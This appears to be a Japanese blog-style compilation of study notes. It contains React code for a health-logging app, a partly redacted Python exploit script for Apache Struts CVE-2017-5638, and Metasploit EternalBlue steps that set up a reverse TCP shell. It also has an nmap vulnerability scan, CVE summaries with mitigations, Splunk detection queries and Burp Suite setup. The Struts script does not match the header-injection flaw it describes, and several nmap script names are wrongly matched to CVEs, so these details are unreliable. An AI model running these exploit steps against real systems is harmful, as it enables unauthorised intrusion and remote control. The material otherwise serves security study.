①googleのsandboxを活用して、Reactで健康管理アプリを作成

 

 

②健康アプリ(日々、体重、血圧、体重を記録する)

 

 

③App.jsのソースコード

 

import React, { useState } from "react"; // ReactとuseStateをインポート

import "./styles.css"; // CSSファイルをインポート

import HealthForm from "./HealthForm";

import HealthList from "./HealthList";

 

function App() {

  const loadDataFromLocalStorage = () => {

    const savedData = localStorage.getItem("healthData");

    return savedData ? JSON.parse(savedData) : [];

  };

 

  const [data, setData] = useState(loadDataFromLocalStorage);

 

  const handleAddEntry = (newEntry) => {

    const updatedData = [...data, newEntry];

    setData(updatedData);

    localStorage.setItem("healthData", JSON.stringify(updatedData));

  };

 

  const handleDeleteEntry = (index) => {

    const updatedData = data.filter((_, i) => i !== index);

    setData(updatedData);

    localStorage.setItem("healthData", JSON.stringify(updatedData));

  };

 

  return (

    <div className="app-container">

      {/* 背景ぼかし用の要素 */}

      <div className="background-blur"></div>

      <div className="content">

        <h1>健康管理アプリ</h1>

        <HealthForm onAddEntry={handleAddEntry} />

        <HealthList data={data} onDeleteEntry={handleDeleteEntry} />

      </div>

    </div>

  );

}

 

export default App;

 

④HealthForm.jsのソースコード

 

import React, { useState } from "react";

 

function HealthForm({ onAddEntry }) {

  const [form, setForm] = useState({

    date: "",

    temperature: "",

    bloodPressure: "",

    weight: "",

  });

 

  const handleChange = (e) => {

    const { name, value } = e.target;

    setForm({ ...form, [name]: value });

  };

 

  const handleSubmit = (e) => {

    e.preventDefault();

    if (form.date && form.temperature && form.bloodPressure && form.weight) {

      onAddEntry(form);

      setForm({ date: "", temperature: "", bloodPressure: "", weight: "" });

    } else {

      alert("全ての項目を入力してください!");

    }

  };

 

  return (

    <form onSubmit={handleSubmit} style={{ marginBottom: "20px" }}>

      <input

        type="date"

        name="date"

        value={form.date}

        onChange={handleChange}

        required

        placeholder="日付"

      />

      <input

        type="number"

        name="temperature"

        value={form.temperature}

        onChange={handleChange}

        placeholder="体温 (℃)"

        required

      />

      <input

        type="text"

        name="bloodPressure"

        value={form.bloodPressure}

        onChange={handleChange}

        placeholder="血圧"

        required

      />

      <input

        type="number"

        name="weight"

        value={form.weight}

        onChange={handleChange}

        placeholder="体重 (kg)"

        required

      />

      <button type="submit">追加</button>

    </form>

  );

}

 

export default HealthForm;

 

⑤HealthList.jsのソースコード

 

import React from "react";

 

function HealthList({ data, onDeleteEntry }) {

  return (

    <div>

      <h2>健康データ</h2>

      <ul style={{ listStyleType: "none", padding: 0 }}>

        {data.length === 0 ? (

          <p>データがありません</p>

        ) : (

          data.map((entry, index) => (

            <li

              key={index}

              style={{

                marginBottom: "10px",

                border: "1px solid #ccc",

                padding: "10px",

                borderRadius: "5px",

              }}

            >

              <p>日付: {entry.date}</p>

              <p>体温: {entry.temperature}℃</p>

              <p>血圧: {entry.bloodPressure}</p>

              <p>体重: {entry.weight}kg</p>

              <button onClick={() => onDeleteEntry(index)}>削除</button>

            </li>

          ))

        )}

      </ul>

    </div>

  );

}

 

export default HealthList;

 

⑥index.jsのソースコード

 

import { StrictMode } from "react";

import { createRoot } from "react-dom/client";

 

import App from "./App";

 

const rootElement = document.getElementById("root");

const root = createRoot(rootElement);

 

root.render(

  <StrictMode>

    <App />

  </StrictMode>

);

 

⑦styles.css

 

body {

  margin: 0;

  font-family: Arial, sans-serif;

}

 

.app-container {

  position: relative;

  min-height: 100vh;

  overflow: hidden;

}

 

/* 背景ぼかし用のスタイル */

.background-blur {

  position: absolute;

  top: 0;

  left: 0;

  width: 100%;

  height: 100%;

  background: url("/pic.webp") no-repeat center center fixed;

  background-size: cover;

  filter: blur(3px); /* 背景のみぼかす */

  z-index: -1; /* 背景をコンテンツの後ろに配置 */

}

 

.content {

  position: relative;

  z-index: 1; /* コンテンツを背景より前に配置 */

  padding: 20px;

  color: #333;

  backdrop-filter: none; /* フォームやテキストの背景ぼかしを無効化 */

}

 

※安全性の観点より、ソースコード、ファイル内容は一部削除、改変済みです。

 

①対象バージョン

  • Apache Struts 2.3.5 - 2.3.31
  • Apache Struts 2.5 - 2.5.10.1
②この脆弱性は、ファイルアップロード機能を提供するWebアプリケーションが、Jakarta Multipart parserを使用している場合に悪用されます。攻撃者は、Content-Typeヘッダーに特定のペイロードを含むリクエストを送信することで、サーバー側で任意のコードを実行できます。
 
以下のスクリプトは、ターゲットサーバーに対してJSPファイルをアップロードし、そのファイルが実行されたときにwhoamiコマンドを実行します。
 
import requests

# ターゲットサーバーのURL
url = "http://target-server.com/upload"  # アップロード先のURLに変更してください

# ヘッダーの設定
headers = {
    "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW"
}

# 悪意のあるペイロードを含むファイルの内容 
payload = (
    "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\n"
    "Content-Disposition: form-data; name=\"file\"; filename=\"exploit.jsp\"\r\n"
    "Content-Type: application/octet-stream\r\n\r\n"
    "<% Runtime.getRuntime().exec(\"whoXXXXXXXXXXXXXX
    "------WebKitFormBoundary7MA4YWxkTrZu0gW--"
)

# POSTリクエストを送信
response = requests.post(url, headers=headers, data=payload)

# レスポンスの表示
print(response.status_code)
print(response.text)
 
上記スクリプトをPythonファイル(例:upload_exploit.py)として保存します。
ターミナルやコマンドプロンプトを開き、スクリプトが保存されているディレクトリに移動します。
以下のコマンドを実行します。
 
python upload_exploit.py
 
スクリプトが正常に実行されると、HTTPステータスコードとレスポンスが表示されます。レスポンスにwhoamiコマンドの実行結果が含まれているはずです。
 
③whoami以外のコマンドを使用することで、以下が可能になります。
  • リモートコード実行(RCE): 攻撃者がサーバー上で任意のコードを実行することが可能となり、システムの完全な制御が奪われる可能性があります。
  • 情報漏洩: 機密データへのアクセスが可能となる。
  • サービス停止(DoS): システムの正常な動作を妨害する攻撃が行われる可能性があります。

安全性の観点より、コマンド、ソースコードは一部削除、改変済みです。

 

①Metasploitを使用したEternalBlueエクスプロイトの例

Metasploitは、ペネトレーションテストや脆弱性評価に広く使用されるオープンソースのフレームワークです。Metasploitを使用してCVE-2017-0144をエクスプロイトする手順を以下に示します。

 

②Metasploitを起動

 

msfconsole

 

③EternalBlueエクスプロイトモジュールを選択

 

use exploit/windows/smb/XXX_XXXX_eternalblue

 

④ターゲットホストのIPアドレスを設定

 

set RHOSTS 192.168.1.1

 

⑤ペイロードを設定(例: Windowsシェルをリバースで取得するペイロード)

set PAYLOAD windows/x64/XXXerpreter/XXXX_tcp
set LHOST <攻撃者のIPアドレス>
set LPORT <攻撃者が待ち受けるポート>
⑥エクスプロイトを実行
exploit
上記コマンドセットを実行すると、Metasploitはターゲットシステムに対して
EternalBlue脆弱性を利用し、指定したペイロード(リバースTCPシェル)を送り、
成功するとリモートシェルが開かれます。




 

 

※防御のための学習参考情報です。エクスプロイトコードの使用は法的な問題を引き起こす可能性があるため、使用には十分な注意が必要です。合法的にかつ適切な権限を持って使用することが重要です。コマンドは一部改変済み。

 

①脆弱性スキャンを実行

 

nmap --script vuln 192.168.1.X

 

--script vuln: Nmapスクリプトエンジン(NSE)を使用して、vulnカテゴリのスクリプトを実行します。このカテゴリには、よく知られた脆弱性を検出するためのスクリプトが含まれています。

 

②仮の脆弱性発見

1. CVE-2020-1472 (Zerologon)

  • 概要: Windows Netlogonの脆弱性で、攻撃者がネットワーク認証をバイパスし、ドメインコントローラーへの完全な制御を取得できる可能性があります。
  • 影響: Windows Server 2008 R2、2012、2016、2019 など。
  • 検出方法: Nmapのnmap --script smb-enum-sharesなどのスクリプトで、Netlogonサービスをスキャンして脆弱性を確認することができます。

2. CVE-2021-22986 (F5 BIG-IP RCE)

  • 概要: F5 BIG-IPの脆弱性で、管理者権限を持つユーザーがリモートでコードを実行できる可能性があります。
  • 影響: F5 BIG-IP APM、LTM、AFM、その他のモジュール。
  • 検出方法: Nmapのnmap --script http-vuln-cve2021-22986などのスクリプトで、特定のHTTPエンドポイントをスキャンして脆弱性を確認することができます。

3. CVE-2019-0708 (BlueKeep)

  • 概要: Remote Desktop Services(旧Terminal Services)の脆弱性で、リモートでコードを実行するための未認証アクセスが可能です。
  • 影響: Windows 7、Windows Server 2008 R2、Windows Server 2008など。
  • 検出方法: Nmapのnmap --script rdp-vuln-ms12-020などのスクリプトで、RDPサービスをスキャンして脆弱性を確認することができます。

4. CVE-2019-19781 (Citrix ADC/RAS RCE)

  • 概要: Citrix Application Delivery Controller(ADC)およびCitrix Gateway(旧称NetScaler Gateway)の脆弱性で、リモートでコードを実行できる可能性があります。
  • 影響: Citrix ADCおよびCitrix Gatewayのバージョンが影響を受ける。
  • 検出方法: Nmapのnmap --script http-citrix-cve-2019-19781などのスクリプトで、特定のHTTPエンドポイントをスキャンして脆弱性を確認することができます。

5. CVE-2018-13379 (Fortinet FortiGate RCE)

  • 概要: Fortinet FortiGateの脆弱性で、攻撃者が未認証のリモートコードを実行できる可能性があります。
  • 影響: FortiGateのファイアウォールやVPNなどの機器。
  • 検出方法: Nmapのnmap --script http-fortigate-cve-2018-13379などのスクリプトで、特定のHTTPエンドポイントをスキャンして脆弱性を確認することができます。

6.Apache Strutsの脆弱性(CVE-2017-5638)

概要

CVE-2017-5638は、Apache Strutsの特定のバージョンに存在する重大なリモートコード実行(RCE)の脆弱性です。この脆弱性は、Jakarta Multipart parserを使用したファイルアップロード機能に関連しています。攻撃者が特定の細工を施したリクエストを送信することで、任意のコードを実行できるようになります。

影響を受けるバージョン

  • Apache Struts 2.3.5 - 2.3.31
  • Apache Struts 2.5 - 2.5.10.1

攻撃ベクトル

この脆弱性は、ファイルアップロード機能を提供するWebアプリケーションが、Jakarta Multipart parserを使用している場合に悪用されます。攻撃者は、Content-Typeヘッダーに特定のペイロードを含むリクエストを送信することで、サーバー側で任意のコードを実行できます。

対策

  • アップデート: 脆弱なバージョンを使用している場合、直ちに最新のバージョンにアップデートすることが推奨されます。
  • セキュリティパッチの適用: Apache Strutsプロジェクトから提供されるセキュリティパッチを適用します。
  • 設定の見直し: Jakarta Multipart parserの使用を避け、他の安全なパーサーに切り替えることを検討します。

7.Microsoft SMBv1の脆弱性(CVE-2017-0144)

概要

CVE-2017-0144は、Microsoft SMBv1プロトコルに存在するリモートコード実行(RCE)の脆弱性です。この脆弱性は、WannaCryランサムウェアによって広く悪用されました。特定の細工を施したパケットを送信することで、攻撃者はリモートでコードを実行できるようになります。

影響を受けるシステム

  • Windows XP
  • Windows Vista
  • Windows 7
  • Windows 8.1
  • Windows 10
  • Windows Server 2003
  • Windows Server 2008
  • Windows Server 2012
  • Windows Server 2016

攻撃ベクトル

この脆弱性は、SMBv1プロトコルを使用しているシステムに対して、特別に細工されたパケットを送信することで悪用されます。攻撃者は、ネットワーク経由でパケットを送信し、ターゲットシステム上で任意のコードを実行できます。

 

影響

  • リモートコード実行(RCE): 攻撃者がシステム上で任意のコードを実行することが可能となり、システムの完全な制御が奪われる可能性があります。
  • ネットワーク感染: WannaCryのようなマルウェアがネットワーク全体に拡散し、他のシステムにも感染する可能性があります。
  • データの暗号化と身代金要求: ランサムウェアにより、データが暗号化され、復号のために身代金が要求される

対策

  • アップデート: Microsoftが提供するセキュリティパッチ(MS17-010)を適用します。
  • SMBv1の無効化: SMBv1プロトコルの使用を停止し、SMBv2やSMBv3に移行します。
  • ネットワークのセグメンテーション: ネットワークをセグメント化し、感染の拡大を防ぎます。
  • バックアップ: 定期的にデータのバックアップを行い、ランサムウェア攻撃に備えます。

 

 

① ハッキングや不正アクセスの検出

失敗したログオン試行の回数が多いユーザーアカウントとIPアドレスをリストアップします。

 

index=your_index sourcetype="WinEventLog:Security" EventCode=4625 | stats count by Account_Name, src_ip | where count > 5
 

②脆弱性の検出

新しくインストールされたソフトウェアのリストを表示します。

 

index=your_index sourcetype="WinEventLog:System" EventCode=11707 | stats count by ComputerName, Software
 

 

③エラーの検出

アプリケーションエラーの詳細をリストアップします。

 

index=your_index sourcetype="WinEventLog:Application" EventCode=1000 | stats count by Message, ComputerName
 

 

④4. 不正アクセスの兆候

1時間内に10回以上ログオン試行があったIPアドレスをリストアップします。

 

index=your_index sourcetype="WinEventLog:Security" EventCode=4624 | bucket span=1h _time | stats count by _time, src_ip | where count > 10
 

 

⑤脆弱性スキャニングの検出

ネットワークスキャンや脆弱性スキャンの試行をリストアップします。

 

index=your_index sourcetype="network" (tag=scan OR tag=vulnerability) | stats count by src_ip, dest_ip, dest_port
 

 

 

①Burp Suiteを起動

②FireFoxのプロキシ設定を行う

 

  • HTTPプロキシ: 127.0.0.1
  • ポート: 8080
  • すべてのプロトコルにこのプロキシサーバーを使用するにチェックを入れます。
③「Intercept is on」ボタンが表示されていることを確認します。FireFoxでEC2のIP(35.78.178.173)実行
④このHTTPリクエストは、指定されたホスト(ここではEC2インスタンスのIPアドレス:35.78.178.173)に対してルートパス(/)のリソースを取得するために送信されています。
このリクエストは、EC2インスタンス上のWebアプリケーションに対して送信される標準的なGETリクエストです。各ヘッダーはリクエストの詳細を指定し、ブラウザがどのような形式のデータを受け入れるか、どのような言語を優先するかなどを示しています。Burp Suiteを使用してこのリクエストをインターセプトし、編集して送信することで、セキュリティテストを行うことができます。